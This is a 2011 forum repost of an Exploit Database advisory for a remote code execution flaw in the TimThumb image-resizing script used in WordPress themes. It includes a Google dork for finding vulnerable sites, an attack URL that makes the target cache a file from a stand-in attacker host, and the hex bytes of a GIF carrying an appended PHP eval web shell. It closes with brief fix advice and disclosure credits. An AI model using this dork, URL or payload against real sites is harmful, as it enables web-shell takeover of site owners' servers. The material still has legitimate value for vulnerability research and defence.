WordPress TimThumb Plugin - Remote Code Execution

LLegoLLaS · August 3, 2011

# Google Dork:

inurl:timthumb ext:php -site:googlecode.com -site:google.com

# Date: 3rd August 2011

# Author: MaXe

# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php

# Version: 1.32

# Screenshot: See attachment

# Tested on: Windows XP + Apache + PHP (XAMPP)

WordPress TimThumb (Theme) Plugin - Remote Code Execution

Versions Affected:

1.* - 1.32 (Only version 1.19 and 1.32 were tested.)

(Version 1.33 did not save the cache file as .php)

Info: (See references for original advisory)

TimThumb is an image resizing utility, widely used in many WordPress themes.

Links:


http://www.binarymoon.co.uk/projects/timthumb/
http://code.google.com/p/timthumb/

Credits:

- Mark Maunder (Original Researcher)

- MaXe (Indepedendent Proof of Concept Writer)

-:: The Advisory ::-

TimThumb is prone to a Remote Code Execution vulnerability, due to the

script does not check remotely cached files properly. By crafting a

special image file with a valid MIME-type, and appending a PHP file at

the end of this, it is possible to fool TimThumb into believing that it

is a legitimate image, thus caching it locally in the cache directory.

Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)

[url]http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php[/url]

Stored file on the Target: (This can change from host to host.)

1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);

1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);

md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.

PoC File:


\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

(Transparent GIF + <?php @eval($_GET['cmd']) ?>

-:: Solution ::-

Update to the latest version 1.34 or delete the timthumb file.

NOTE: This file is often renamed and you should therefore issue

a command like this in a terminal: (Thanks to rAWjAW for this info.)

find . | grep php | xargs grep -s timthumb

Disclosure Information:

- Vulnerability Disclosed (Mark Maunder): 1st August 2011

- Vulnerability Researched (MaXe): 2nd August 2011

- Disclosed at The Exploit Database: 3rd August 2011

References:

http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/
http://code.google.com/p/timthumb/issues/detail?id=212
http://programming.arantius.com/the+smallest+possible+gif

Sursa

Edited August 3, 2011 by LLegoLLaS